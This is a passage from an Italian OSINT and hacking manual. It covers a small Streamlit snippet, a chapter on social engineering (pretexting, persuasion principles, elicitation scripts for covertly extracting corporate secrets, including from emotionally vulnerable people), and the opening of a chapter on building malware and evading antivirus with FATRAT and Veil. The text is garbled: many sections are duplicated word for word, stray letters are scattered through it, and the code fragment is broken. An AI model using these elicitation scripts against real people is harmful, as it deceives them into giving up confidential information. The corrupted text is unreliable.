
```
# Crea l'intestazione della pagina web: st.title("Easy Web Application")
```

```
# Crea una casella di testo:
```

```
textInput = st.text_input("Insert Text", "...")
```

```
# Crea il pulsante, premendo il quale verrà visualizzato il testo inserito nel campo di testo:
```

```
if(st.button("Start")):128
```

```
    nickname = textInput.title()
```

```
    st.text("You have insert: "+textInput)
```

Alla fine di questo capitolo vi consiglieri anche di leggere un articolo in cui viene spiegato come utilizzare Streamlit per trasformare Maigret (strumento per l'enumerazione dei nickname) in un'applicazione web:

https://medium.com/@cyb_detective/the-easiest-way-to-turn-an-osint-python-script-into-a-web-application-daf3fc51a0bc

Da qui potrete imparare di più sulle varie funzionalità utili di Streamlit.

,

!

Alla fine di questo capitolo vi consiglierei anche di leggere un articolo in cui viene spiegato come utilizzare Streamlit per trasformare Maigret (strumento per l'enumerazione dei nickname) in un'applicazione web:

https://medium.com/@cyb_detective/the-easiest-way-to-turn-an-osint-python-script-into-a-web-application-daf3fc51a0bc

Da qui potrete imparare di più sulle varie funzionalità utili di Streamlit.

Capitolo 17: Tecniche di Ingegneria Sociale

Dopo aver scoperto come analizzare e gestire dati rilevanti attraverso strumenti avanzati e di programmazione, è arrivato il momento di addentrarsi nel mondo delle tecniche di ingegneria sociale, un aspetto fondamentale per chi opera nell'ambito dell'OSINT. I trucchi e i metodi dell'ingegneria sociale sono utilizzati per influenzare le persone al fine di ottenere informazioni riservate o indurle a compiere determinate azioni. In questo capitolo, ci immergeremo nell'arte della persuasione e nell'elicitazione, esplorando come le parole, il tono di voce e il contesto possano essere intrecciati strategicamente per rendere l'interlocutore più ricettivo e disposto a condividere informazioni, senza che egli ne sia consapevole. Dalle conversazioni casuali alle tecniche più strutturate, scopriremo come affinare la nostra capacità di leggere gli scenari sociali e usare le nostre competenze comunicative in modo etico e responsabile all'interno delle nostre indagini.

Capitolo 17: Tecniche di Ingegneria Sociale

Dopo aver scoperto come analizzare e gestire dati rilevanti attraverso strumenti avanzati e di programmazione, è arrivato il momento di addentrarsi nel mondo delle tecniche di ingegneria sociale, un aspetto fondamentale per chi opera nell'ambito dell'OSINT. I trucchi e i metodi dell'ingegneria sociale sono utilizzati per influenzare le persone al fine di ottenere informazioni riservate o indurle a compiere determinate azioni. In questo capitolo, ci immergeremo nell'arte della persuasione e nell'elicitazione, esplorando come le parole, il tono di voce e il contesto possano essere intrecciati strategicamente per rendere l'interlocutore più ricettivo e disposto a condividere informazioni, senza che egli ne sia consapevole. Dalle conversazioni casuali alle tecniche più strutturate, scopriremo come affinare la nostra capacità di leggere gli scenari sociali e usare le nostre competenze comunicative in modo etico e responsabile all'interno delle nostre indagini.

L'INGEGNERIA SOCIALE

L'ingegneria sociale è un campo affascinante che si colloca all'intersezione tra psicologia umana e sicurezza informatica. Ma cosa significa esattamente? In sintesi, è l'arte di manipolare le persone affinché rivelino informazioni riservate o compiano azioni che vanno a beneficio di chi effettua l'attacco. Visto l'importanza crescente di questo argomento nel mondo della sicurezza e dell'OSINT, diamo un'occhiata più approfondita.

Per cominciare, esploriamo il concetto di “fiducia”, un principio fondamentale su cui si basa ogni tecnica di ingegneria sociale. È interessante notare come spesso le persone tendano a fidarsi di chi hanno di fronte, soprattutto se si presentano in maniera professionale o hanno un aspetto autorevole. Ecco perché spesso i cyber-criminali si fingono membri di una determinata organizzazione o autorità: per suscitare fiducia e ottenere ciò che desiderano.

Uno scenario tipico potrebbe essere quello di un attaccante che si finge un tecnico dell'assistenza clienti. Con un po' di preparazione e qualche informazione sulla vittima, sarà relativamente facile convincere la persona al telefono a rivelare password o altre informazioni sensibili. Questo approccio è noto come “pretexting”, una tecnica che prevede la costruzione di una storia (o “pretesto”) credibile da sfruttare durante l'interazione.

Ma c'è di più. Oltre al “pretexting”, ci sono varie tattiche e strategie che cadono sotto l'ombrello dell'ingegneria sociale. Il “phishing”, per esempio, è tremendamente popolare. È il processo di invio di e-mail che sembrano provenire da fonti legittime per indurre gli individui a fornire dati personali o finanziari. Sovente, il successo di questa tecnica si basa sull'effetto di urgenza che queste comunicazioni sono in grado di generare.

Altro aspetto fondamentale dell'ingegneria sociale sono i “vettori di attacco”. Sì, perché i metodi di distribuzione possono essere molteplici, includendo e-mail, telefonate, messaggi su social media e perfino incontri faccia a faccia. Capire e riconoscere i diversi vettori è essenziale per difendersi da potenziali minacce.

Passiamo ora a un elemento che spesso passa inosservato: i “supporting attacks”. Questi non sono attacchi principali, ma piccole azioni o mosse preparatorie che creano il terreno fertile per il successivo più grande “colpo”. Da semplici osservazioni del comportamento della vittima a indagini preliminari, ogni dettaglio può essere strumentale per il successo di un attacco più complesso.

È importante anche considerare il fattore tempo nell'ingegneria sociale. Alcuni attacchi richiedono una pianificazione minuziosa e possono svolgersi nel corso di settimane o mesi

Questo è spesso il caso del “baiting” e del “quid pro quo”, dove l’attaccante offre qualcosa che sembra vantaggioso in cambio di informazioni o accesso non autorizzato.

Non ci si può dimenticare poi del “tailgating” o “piggybacking”, dove l’ingegnere sociale segue letteralmente qualcuno in un’area protetta o sensibile. Immaginatevi di entrare in un edificio d’uffici dietro qualcuno senza dimostrare nulla, solo sfruttando la cortesia delle persone che tengono la porta aperta per voi.

Uno degli aspetti più intriganti dell’ingegneria sociale è l’uso della “reverse social engineering”. Qui, l’attaccante si pone come la soluzione a un problema che, di solito, ha creato lui stesso. La vittima, nel cercare aiuto, finisce per rivolgersi proprio al malfattore.

E cosa dire delle “informazioni pubblicamente disponibili”? Non c’è da sottovalutare quanto possa essere facile per un ingegnere sociale trovare dati utili in fonti come le reti sociali, forum, e database online per creare attacchi personalizzati. Per questo è essenziale curare la propria presenza digitale.

Inoltre, l’ingegneria sociale non riguarda solo l’ottenimento di informazioni. Può includere anche il convincere le persone a eseguire determinate azioni. Si pensi a un attaccante che induce una persona a scaricare un malware, promettendogli un aggiornamento software necessario o una verifica di sicurezza.

Per chi studia l’OSINT, l’ingegneria sociale può avere un lato positivo. Può essere utilizzata per testare la resilienza di un’organizzazione agli attacchi, o per aiutare le persone a riconoscere e prevenire questi tipi di minacce. Si chiama “ethical social engineering”, e serve a migliorare le difese piuttosto che a indebolirle.

Ma attenzione, questa disciplina è un’arma a doppio taglio. È fondamentale operare sempre nel rispetto delle leggi e dell’etica professionale. Gli studenti devono capire la responsabilità che si impara maneggiando strumenti così potenti.

Come sempre, quando si parla di ingegneria sociale, la conoscenza è potere. Comprendere le tattiche e i metodi utilizzati può aiutare enormemente a rafforzare la propria posizione contro i potenziali attacchi. Sempre tenere a mente la possibilità di diventare tu stesso un target.

Ed eccoci giunti alla fine di questa sezione. Abbiamo coperto i principi fondamentali dell’ingegneria sociale e ci siamo immersi nella sua importanza nel panorama della sicurezza e dell’OSINT. Nelle prossime sezioni, approfondiremo alcune tecniche specifiche come la ipersuasione e l’elicitazione, ed esploreremo come possono essere utilizzate (o difese) in maniera efficace e responsabile.

e

e

i

e

.

a

o

e

INVESTIGADOR_Z

TECNICHE DI PERSUASIONE

Entrando nel vivo delle strutture che regolano l'ingegneria sociale, le tecniche di persuasione rappresentano strumenti potenti e sofisticati. Prendendo spunto dal pensiero critico e dal riconoscimento dei bias umani, affrontati nei capitoli precedenti, capiamo che ogni individuo è suscettibile alla persuasione in modi diversi. Nella comprensione dell'OSINT, vale la pena esplorare come questi strumenti siano applicabili in ambito investigativo e nei confronti del nostro obiettivo.

Una delle tecniche più note è quella della reciprocità. Se si offre qualcosa, magari un'informazione insignificante o un favore, le persone sono generalmente più inclini a ricambiare. Questo principio può essere utilizzato, in ambito di ingegneria sociale, per ottenere informazioni più preziose.

Il principio dell'impegno e della coerenza è un altro pilastro fondamentale: le persone tendono a rimanere fedeli alle promesse e agli impegni presi, anche quelli verbali. Un investigatore può indurre il bersaglio ad assumersi un piccolo impegno che, in seguito, lo porterà verso azioni che offrono più dati.

L'autorità gioca un ruolo chiave nella persuasione. Mostrare simboli, vestiti o linguaggio che suggeriscono una posizione di autorità può indurre gli altri a conformarsi più facilmente alle richieste. Utilizzare questa tecnica richiede una profonda conoscenza del contesto e un'adeguata preparazione.

Non possiamo scordarci del principio di simpatia: siamo più propensi ad accettare richieste da chi ci piace o con cui ci identifichiamo. Quindi, se un attaccante presenta i suoi intenti in una maniera amichevole o stabilisce un terreno comune, sarà più facile persuadere il bersaglio.

La scarsità è un principio psicologico molto efficace: le persone danno più valore a ciò che percepiscono come raro o in via di esaurimento. Fingere che una certa informazione sia riservata o difficile da ottenere può amplificarne il percepito valore e spingere il bersaglio a collaborare per ottenerla.

Il contrasto è un altro stratagemma efficace. Se si presenta qualcosa come migliore o più desiderabile rispetto a qualcos'altro di meno attraente preparato in precedenza, le persone saranno più inclini ad accettare la prima opzione.

La coerenza sociale, o prova sociale, poi, suggerisce che, se altri hanno già compiuto una determinata azione, anche il singolo tende a seguirla. "Se lo fanno tutti..." può essere un principio efficacemente manipolativo in determinate situazioni.

In ambito di ingegneria sociale, l'ancoraggio può essere utile: partire con una richiesta molto alta, per poi scendere a quella che era fin dall'inizio la richiesta vera e propria può rendere quest'ultima più accettabile.

Una tecnica potente è anche quella del piede-nella-porta: partire con piccole richieste per poi passare gradualmente a quelle maggiori. Questo metodo può creare un sentiero di accettazione per il bersaglio che si ritrova, passo dopo passo, ad accettare richieste di maggior rilievo.

Si può anche procedere con la tattica porta-in-faccia, che propone l'opposto: iniziare con una richiesta assurda o molto grande che si sa verrà rifiutata, per poi avanzare quella che si voleva fare realmente, rendendola più accettabile in confronto alla precedente.

La valenza emotiva non deve essere sottovalutata. Giocare sulla paura, sull'empatia o sull'urgenza può influenzare il giudizio e promuovere risposte meno razionali e più impulsive.

Non dimentichiamo poi che la ripetizione può servire a rafforzare un messaggio. Ripetere più volte un'informazione, magari sotto diverse forme, la rende familiare e quindi più accettabile agli occhi del destinatario.

La novità è un altro fattore che attira l'attenzione e la curiosità. Presentare informazioni o richieste come nuove, innovative o esclusive può suscitare interesse e, di conseguenza, conformità.

L'effetto del framing, infine, indica che la stessa informazione può avere impatti differenti a seconda di come viene presentata. Incorniciare una richiesta in termini positivi o come vantaggio per il destinatario aumenta le probabilità di successo.

Comprendere e applicare le tecniche di persuasione richiede sensibilità, astuzia e una precisa conoscenza del contesto e dell'individuo. Ogni tecnica deve essere usata con consapevolezza e responsabilità etica, soprattutto nell'ambito dell'OSINT, dove l'obiettivo è spesso raccogliere informazioni senza attraversare i confini dell'illegalità o della manipolazione dannosa.

In ambito di ingegneria sociale, l'ancoraggio può essere utile: partire con una richiesta molto alta per poi scendere a quella che era fin dall'inizio la richiesta vera e propria può rendere quest'ultima più accettabile.

Una tecnica potente è anche quella del piede-nella-porta: partire con piccole richieste per poi passare gradualmente a quelle maggiori. Questo metodo può creare un sentiero di accettazione per il bersaglio che si ritrova, passo dopo passo, ad accettare richieste di maggior rilievo.

Si può anche procedere con la tattica porta-in-faccia, che propone l'opposto: iniziare con una richiesta assurda o molto grande che si sa verrà rifiutata, per poi avanzare quella che si voleva fare realmente, rendendola più accettabile in confronto alla precedente.

La valenza emotiva non deve essere sottovalutata. Giocare sulla paura, sull'empatia o sull'urgenza può influenzare il giudizio e promuovere risposte meno razionali e più impulsive.

Non dimentichiamo poi che la ripetizione può servire a rafforzare un messaggio. Ripetere più volte un'informazione, magari sotto diverse forme, la rende familiare e quindi più accettabile agli occhi del destinatario.

La novità è un altro fattore che attira l'attenzione e la curiosità. Presentare informazioni o richieste come nuove, innovative o esclusive può suscitare interesse e, di conseguenza, conformità.

L'effetto del framing, infine, indica che la stessa informazione può avere impatti differenti a seconda di come viene presentata. Incorniciare una richiesta in termini positivi o come vantaggio per il destinatario aumenta le probabilità di successo.

Comprendere e applicare le tecniche di persuasione richiede sensibilità, astuzia e una precisa conoscenza del contesto e dell'individuo. Ogni tecnica deve essere usata con consapevolezza e responsabilità etica, soprattutto nell'ambito dell'OSINT, dove l'obiettivo è spesso raccogliere informazioni senza attraversare i confini dell'illegalità o della manipolazione dannosa.

ELICITAZIONE

L'elicitazione, o l'arte di ottenere informazioni senza che l'interlocutore se ne accorga, è un pilastro fondamentale dell'ingegneria sociale. Si poggia sulle capacità comunicative del soggetto che la utilizza per carpire dettagli rilevanti attraverso una conversazione apparentemente innocua. Nei campi dell'OSINT e dell'ingegneria sociale, questa tecnica è impiegata per raccogliere informazioni che possono essere utilizzate in fase di ricerca o per preparare un attacco informatico.

L'elasticità del linguaggio e le dinamiche sociali giocano un ruolo chiave nell'elicitazione. Si tratta di saper leggere tra le righe, di interagire e porre domande in modo naturale, facendo sentire l'interlocutore a suo agio e meno *on guard*. La spontaneità è la tua migliore alleata, e raramente chi è sottoposto a questa tecnica si rende conto di star rivelando più di quanto vorrebbe.

Ma come si pratica concretamente questa tecnica? Innanzitutto, è essenziale stabilire una connessione con la persona. Sviluppare un rapporto, sia che si tratti di interesse genuino o di un legame fittizio, è il punto di partenza. Un sorriso, un approccio amichevole o parlare di argomenti di interesse comune possono essere i primi passi per abbassare le difese dell'interlocutore.

Una volta che si è instaurata una certa affinità, si possono iniziare a tessere le domande. È importante che siano poste in una sequenza naturale e che non sembrino un interrogatorio. L'utilizzo di domande aperte piuttosto che chiuse favorisce risposte più elaborate, che possono rivelare dettagli utili per le tue ricerche.

Essere ascoltatori attenti è essenziale in questo processo. Presta attenzione al linguaggio del corpo e ai segnali non verbali che possono indicare quando una persona è a proprio agio o meno. Rispondere con commenti che dimostrino di seguire il discorso aiuta a consolidare la fiducia e apre la strada a ulteriori confidenze.

Ricorda che ogni dettaglio può essere prezioso. Un nome, un luogo, una data, anche in apparenza trascurabili, potrebbero essere il tassello mancante di un puzzle più grande. L'arte dell'elicitazione richiede pazienza e acutezza osservativa: nulla deve sfuggire.

La scelta dei temi di conversazione durante l'elicitazione non è mai casuale. Bisognerebbe orientarsi su argomenti pertinenti all'obiettivo finale della ricerca. Per esempio, se il tuo scopo è quello di scoprire dettagli su un'azienda, parlare di recenti eventi di settore potrebbe stimolare rivelazioni sulle strategie interne o sui progetti in cantiere.

Evita di sembrare troppo curioso o di fare domande troppo dirette. L'obiettivo è guidare l'interlocutore a condividere informazioni spontaneamente. Porre domande che si collegano a quanto già detto è un metodo efficace per continuare la conversazione senza destare sospetti.

La conoscenza dell'argomento di cui parli è un altro fattore critico. Essere informati permette di porre domande più mirate e pertinenti, rivelando quindi una competenza che può indurre l'interlocutore a rivelare di più, credendo che stia parlando con un esperto.

Fai attenzione, però, a non lasciarti andare alla tentazione di parlare troppo. L'ascolto attivo ti offrirà molte più informazioni che non l'imposizione della tua narrativa. Stabilisci un equilibrio in cui l'interlocutore si senta il protagonista della conversazione.

Un'altra tattica molto utile nell'ingegneria sociale è l'*employment of storytelling*. Raccontare storie o aneddoti personali che si ricollegano a ciò di cui si sta discutendo può essere un espediente per far abbassare ulteriormente la guardia o per stimolare una risposta empatica.

Infine, dopo una sessione di elicitazione, è cruciale analizzare e organizzare le informazioni raccolte. Documentare tutto ciò che è stato appreso consente di avere dati chiari su cui basare le successive fasi di ricerca o azioni di ingegneria sociale.

L'elicitazione è uno strumento potente, ma viene con una responsabilità altrettanto grande. Usare questa tecnica richiede un forte senso etico e una attenta considerazione delle ramificazioni legali e morali della raccolta di dati non autorizzata o ingannevole.

Per concludere, ricorda che l'elicitazione è un'abilità che si affina con la pratica e l'esperienza. Ogni conversazione è un'opportunità di apprendimento e ti avvicina all'essere un maestro nell'arte sottile di indurre qualcuno a rivelare informazioni senza fare una domanda diretta.

Elicitazione e Bisogni umani

L'elicitazione è considerata un processo, piuttosto che un insieme di tecniche, un'interazione tra un "intervistatore" e una fonte.

¹Coloro che sollecitano le informazioni devono essere abili nel comprendere e applicare una vasta gamma di strategie, approcci e tecniche di persuasione e influenza per raccogliere informazioni da persone determinate a non fornirle.

Questo è il motivo per cui l'elicitazione è così efficace, ti dà risposte da fonti non collaborative, la fonte non deve conoscere il tuo obiettivo ma tu, come collezionista, devi essere altamente qualificato nella costruzione di un rapporto effettivo con la tua fonte.

Quasi tutte le tecniche di elicitazione fanno capo ai nostri bisogni "primari", descritti la prima volta da "Abraham Maslow" e suddivisi in 5 livelli:

Bisogni fisiologici

Bisogni di sopravvivenza o bisogni fisiologici di base: cibo, aria e acqua di cui abbiamo bisogno per sopravvivere come entità biologiche. Quando viene messa a rischio la capacità di assicurare la sopravvivenza, entrano in gioco forti motivazioni. Spesso cambieranno radicalmente la volontà del tuo contatto di discutere argomenti precedentemente sensibili o personali consentendo la raccolta di informazioni.

Sicurezza Fisica

²Si tratta di un'estensione dei bisogni fisiologici: abbigliamento e riparo, protezione da danni fisici ed emotivi, vita in una società che rafforza lo stato di diritto e il rispetto dei diritti individuali.

¹Pensiamo per esempio a una persona che è stata vittima di violenza, che vive in una zona di guerra o una zona che ha subito una forte calamità naturale.

Bisogni sociali di appartenenza

²Tutte le persone cercano di "essere comprese", cerchiamo affetto, amore, appartenenza, ¹accettazione e amicizia dagli altri. Per fare ciò, viviamo in famiglie e apparteniamo a gruppi e organizzazioni professionali, sociali, religiosi e politici.

Quando una persona manca di quelle affiliazioni, le cerca. Persone che cercano un amico, che non sono prese sul serio nel loro lavoro, che sono sottovalutate o incomprese sono molto suscettibili all'elicitazione.

Stima e necessità di riconoscimento

Tutte le persone, consapevolmente o meno, cercano rispetto, riconoscimento e attenzione, per gratificare il loro ego, potere, fama e denaro.

¹Una persona con un ego particolarmente forte è suscettibile di elicitazione se miriamo appunto ad alimentare il suo ego (o a sminuirlo a seconda dei casi).

Bisogno di auto-attualizzazione

Si tratta dello stadio in cui un individuo ha soddisfatto tutti i bisogni precedenti e cerca di soddisfare il bisogno di sviluppare la propria identità, la sua ragione di essere. l'individuo comprende le sue capacità, il suo posto nella società, così come i contributi che può dare. È auto-attualizzato. in questo caso, si potrebbe sfruttare la capacità e la voglia del soggetto di "insegnare" agli altri a realizzarsi.

^aTendenze naturali suscettibili di elicitazione

Tendenze naturali suscettibili di elicitazione.

- j • Il desiderio di essere gentile o di raggiungere qualcuno.
- e • Il desiderio di sembrare molto ben informati.
- a • Il desiderio di essere apprezzato, di essere parte di qualcosa di importante.
- La necessità di riconoscimento.
 - La necessità del riconoscimento come esperto.
 - La necessità di trovare un buon ascoltatore.
- i • La necessità di condividere i segreti con un collega professionista.
- i • La tendenza a vantarsi.
- La tendenza ai pettegolezzi.
- Tendere a correggere gli altri.
- La tendenza a sottovalutare la quantità di informazioni offerte, soprattutto se non siete a conoscenza di come possono essere sfruttate.
- Sottovalutare il valore delle informazioni impartite.
- Sottovalutare la capacità di comprensione degli altri.
- e • Sottovalutare la capacità dell'altro di utilizzare le informazioni.
- j • Il desiderio di convincere gli altri su una particolare idea o un concetto.
 - La necessità di trovare un ascoltatore.
 - La necessità di insegnare o correggere gli altri.
 - La necessità di spettegolare.
 - Incapacità di mantenere segreti.
- j • Tendenze verso l'indiscrezione quando non in controllo delle emozioni.

Più avanti le vedremo nel dettaglio.

La pianificazione, come sempre, è molto importante! Concentrati sulle seguenti domande.

“Cosa conosco?”

• “Cosa voglio ottenere?”

“Che vulnerabilità posso sfruttare nel mio target?” (Dopo un'approfondita fase di ricerca di informazioni.)

“Come sfuggo da una situazione critica nel caso il tutto vada male?”

“Che domande pongo al mio target?”

“Come sfuggo a un’eventuale domanda che faccia ‘insospettire’ il target?”

Una volta risposto a queste domande e predisposto il nostro piano, possiamo iniziare la fase attiva.

È sempre consigliato registrare in qualche modo la conversazione, in modo che possa essere riascoltata in seguito.

È inoltre importante notare che le nostre mimiche facciali e i linguaggi del corpo devono essere congruenti al messaggio che stiamo lanciando, se non lo fossero, inconsapevolmente o meno “allerteremo” il nostro target.

Inoltre, se possibile, è sempre consigliato non porre domande dirette!

Questo quasi sempre chiuderà a riccio il nostro target.

La soluzione è riformulare le tue domande come commenti o “fornire silenzi”.

In questo modo il nostro target risponderà quasi sempre alle nostre domande indirette senza insospettirsi.

“Come sfuggo da una situazione critica nel caso il tutto vada male?”

“Che domande pongo al mio target?”

“Come sfuggo a un’eventuale domanda che faccia ‘insospettare’ il target?”

Una volta risposto a queste domande e predisposto il nostro piano, possiamo iniziare la fase attiva.

È sempre consigliato registrare in qualche modo la conversazione, in modo che possa essere riascoltata in seguito.

È inoltre importante notare che le nostre mimiche facciali e i linguaggi del corpo devono essere congruenti al messaggio che stiamo lanciando, se non lo fossero, inconsapevolmente o meno “allerteremo” il nostro target.

Inoltre, se possibile, è sempre consigliato non porre domande dirette!

Questo quasi sempre chiuderà a riccio il nostro target.

La soluzione è riformulare le tue domande come commenti o “fornire silenzi”.

In questo modo il nostro target risponderà quasi sempre alle nostre domande indirette senza insospettirsi.

TECNICHE: PROVOCAZIONE

Provocazione:

Prova a introdurre soltanto un tema, sollevando così una reazione da parte del target.

Per esempio:

“Mi chiedo perché continuo a lavorare nell’azienda XY!”

Il target risponderà probabilmente con qualcosa di simile:

“Cosa non va nell’azienda XY?”

Oppure se è un dipendente dell’azienda XY probabilmente troverà una lamentela da fare, al fine di concordare con te.

La stessa tecnica può essere utilizzata per andare in disaccordo su un determinato argomento.

Pensiamo nel linguaggio dell’amore.

Per esempio:

“Tu non mi ami più!”

Provocherà quasi sicuramente nell’altro membro della coppia una dichiarazione d’amore oppure delle scuse!

TECNICHE: PROVOCAZIONE

Provocazione:

Prova a introdurre soltanto un tema, sollevando così una reazione da parte del target.

Per esempio:

“Mi chiedo perché continuo a lavorare nell’azienda XY!”

Il target risponderà probabilmente con qualcosa di simile:

“Cosa non va nell’azienda XY?”

Oppure se è un dipendente dell’azienda XY probabilmente troverà una lamentela da fare, al fine di concordare con te.

La stessa tecnica può essere utilizzata per andare in disaccordo su un determinato argomento.

Pensiamo nel linguaggio dell’amore.

Per esempio:

“Tu non mi ami più!”

Provocherà quasi sicuramente nell’altro membro della coppia una dichiarazione d’amore oppure delle scuse!

TECNICHE: FALSE DICHIARAZIONI

False dichiarazioni:

Consiste nel dire qualcosa di sbagliato sfruttando la possibilità che l'altro corregga l'errore.

Per esempio:

“Tutti sanno che Telecom Italia non è interessata alla tecnologia 5G!”. Risposta:

“Ti sbagli, abbiamo stanziato diversi milioni per supportare questa tecnologia.”

TECNICHE: FALSE DICHIARAZIONI

False dichiarazioni:

Consiste nel dire qualcosa di sbagliato sfruttando la possibilità che l'altro corregga l'errore.

Per esempio:

“Tutti sanno che Telecom Italia non è interessata alla tecnologia 5G!”. Risposta:

“Ti sbagli, abbiamo stanziato diversi milioni per supportare questa tecnologia.”

TECNICHE: INCREDULITÀ

La tecnica dell'incredulità consiste nel chiedere ai tuoi contatti di fornire ulteriori informazioni su un argomento mettendo in discussione l'accuratezza, la validità o la veridicità delle loro dichiarazioni.

Questo fa sì che quando il soggetto viene messo in discussione, tende a difendersi fornendo un argomento più forte e persuasivo o dati di supporto ancora più dettagliati.

“Mattia Vicenzi è proprio un coglione!”

“Ok, non la penso come te ma ok.”

“Dico sul serio, non ne fa una giusta, combina sempre pasticci!”

“Ma che dici! La settimana scorsa ha prodotto un report sull'azienda XY che era una bomba!”

TECNICHE: INCREDULITÀ

La tecnica dell'incredulità consiste nel chiedere ai tuoi contatti di fornire ulteriori informazioni su un argomento mettendo in discussione l'accuratezza, la validità o la veridicità delle loro dichiarazioni.

Questo fa sì che quando il soggetto viene messo in discussione, tende a difendersi fornendo un argomento più forte e persuasivo o dati di supporto ancora più dettagliati.

“Mattia Vicenzi è proprio un coglione!”

“Ok, non la penso come te ma ok.”

“Dico sul serio, non ne fa una giusta, combina sempre pasticci!”

“Ma che dici! La settimana scorsa ha prodotto un report sull'azienda XY che era una bomba!”

TECNICHE: RICHIAMO DELL'IO O ADULAZIONE

Tutti amiamo sentire complimenti su di noi, e questo ci rende particolarmente suscettibili all'elicitazione!

La tecnica consiste in quattro fasi. Un complimento che risulti credibile e sincero da parte dell'intervistatore il target probabilmente sminuirà il complimento rincarando la dose! richiesta di informazioni specifiche.

Per esempio:

“Mattia, sei un genio!”

“Ti sbagli, non ho fatto niente di che, è stato piuttosto semplice.”

“Andiamo, sappiamo entrambi che nessun altro del gruppo ci sarebbe riuscito! Dai, spiegami come diavolo hai fatto a farlo! Su!”

TECNICHE: RICHIAMO DELL'IO O ADULAZIONE

Tutti amiamo sentire complimenti su di noi, e questo ci rende particolarmente suscettibili all'elicitazione!

La tecnica consiste in quattro fasi. Un complimento che risulti credibile e sincero da parte dell'intervistatore il target probabilmente sminuirà il complimento rincarando la dose! richiesta di informazioni specifiche.

Per esempio:

“Mattia, sei un genio!”

“Ti sbagli, non ho fatto niente di che, è stato piuttosto semplice.”

“Andiamo, sappiamo entrambi che nessun altro del gruppo ci sarebbe riuscito! Dai, spiegami come diavolo hai fatto a farlo! Su!”

TECNICHE: LAMENTELE

Sfrutta l'istinto umano nel lamentarsi.

Per esempio:

“Quest’anno, il target di vendita è impossibile da raggiungere, dobbiamo vendere mezzo milione di unità. Come faccio a fare il mio lavoro se mi danno dei target impossibili?!”

“Hai pure il coraggio di lamentarti? Il target della mia unità è di tre milioni!”

Tecniche: Fornire tra parentesi!

Consiste nel dare dei dati approssimativi (stime alte o basse) al fine di ottenere dati corretti!

Ritornando all’esempio dell’azienda Telecom Italia:

“Ah sì, quanto spendete per la tecnologia 5G, appena 2-3 milioni!”

“Ti sbagli, abbiamo stanziato 73 milioni circa!”

TECNICHE: LAMENTELE

Sfrutta l'istinto umano nel lamentarsi.

Per esempio:

“Quest’anno, il target di vendita è impossibile da raggiungere, dobbiamo vendere mezzo milione di unità. Come faccio a fare il mio lavoro se mi danno dei target impossibili?!”

“Hai pure il coraggio di lamentarti? Il target della mia unità è di tre milioni!”

Tecniche: Fornire tra parentesi!

Consiste nel dare dei dati approssimativi (stime alte o basse) al fine di ottenere dati corretti!

Ritornando all’esempio dell’azienda Telecom Italia:

“Ah sì, quanto spendete per la tecnologia 5G, appena 2-3 milioni!”

“Ti sbagli, abbiamo stanziato 73 milioni circa!”

TECNICHE: RIPETIZIONE

Consiste nel ripetere l'ultima parte di una frase, al fine di ottenere maggiori informazioni.

Per esempio:

“Stasera vado a Torino.”

“Torino?”

“Sì, vado a trovare Mattia.”

TECNICHE: RIPETIZIONE

Consiste nel ripetere l'ultima parte di una frase, al fine di ottenere maggiori informazioni.

Per esempio:

“Stasera vado a Torino.”

“Torino?”

“Sì, vado a trovare Mattia.”

TECNICHE: IGNORANZA E BISOGNO DI AIUTO

Consiste nell'utilizzare finta ignoranza al fine di ottenere un'informazione corretta o un aiuto.

“Ho visto il tuo nuovo programma, sembra figo ma non ci capisco niente.”

“Te lo spiego volentieri.”

TECNICHE: IGNORANZA E BISOGNO DI AIUTO

Consiste nell'utilizzare finta ignoranza al fine di ottenere un'informazione corretta o un aiuto.

“Ho visto il tuo nuovo programma, sembra figo ma non ci capisco niente.”

“Te lo spiego volentieri.”

TECNICHE: CONVENIENZA RECIPROCA

La tecnica ha le sue radici nella tendenza umana a fornire reciprocità. Quando riceviamo qualcosa da un'altra persona, come un dono, un invito o una gentilezza, tendiamo a sentirci obbligati a offrire reciprocità.

Informazioni aggiuntive

L'elicitazione è di per sé molto difficile da individuare, agendo come una normale conversazione.

Tuttavia, una persona esperta tenderà a non chiudersi a riccio nel caso si accorga di un tentativo di elicitazione, ma trasformerà la conversazione al fine di fornire in maniera naturale meno informazioni possibili e richiedendo a te più informazioni possibili, trasformandoti nel target.

Tuttavia, se fatta bene, si tratta di un'attività a bassissimo rischio e in cui è sempre possibile negare la propria scaletta

TECNICHE: CONVENIENZA RECIPROCA

La tecnica ha le sue radici nella tendenza umana a fornire reciprocità. Quando riceviamo qualcosa da un'altra persona, come un dono, un invito o una gentilezza, tendiamo a sentirci obbligati a offrire reciprocità.

Informazioni aggiuntive

L'elicitazione è di per sé molto difficile da individuare, agendo come una normale conversazione.

Tuttavia, una persona esperta tenderà a non chiudersi a riccio nel caso si accorga di un tentativo di elicitazione, ma trasformerà la conversazione al fine di fornire in maniera naturale meno informazioni possibili e richiedendo a te più informazioni possibili, trasformandoti nel target.

Tuttavia, se fatta bene, si tratta di un'attività a bassissimo rischio e in cui è sempre possibile negare la propria scaletta

Capitolo 18: Creazione e Gestione di Malware

Dopo aver affrontato le insidie e le finezze dell'ingegneria sociale nel precedente capitolo, è il momento di tuffarci nel cuore oscuro della cybersecurity: i malware. Qui vedremo come i cybercriminali, armati di creatività e conoscenza tecnica, riescono a forgiare quei programmi malevoli che tutti temiamo. Questo capitolo non è un semplice tour degli strumenti per creare malware; è una vera e propria introduzione ai concetti dietro la loro creazione e gestione. Ti parlerò dei principi base per assemblare *malware* e *virus* che sono più di un semplice fastidio: sono strumenti veramente efficaci nell'ottenere controllo su sistemi bersaglio. Ci immergeremo in tool avanzati come **FATRAT** e **Veil**, esplorando come questi possono essere utilizzati per sfuggire ai rilevatori antivirus e mantenere un payload inoffensivo fino all'attivazione. Ma attenzione: tutto ciò che impari deve essere maneggiato con etica e responsabilità. Rispetta le leggi e usa questa conoscenza solo in ambienti controllati e con consenso esplicito, come per i test di penetrazione autorizzati.

Capitolo 18: Creazione e Gestione di Malware

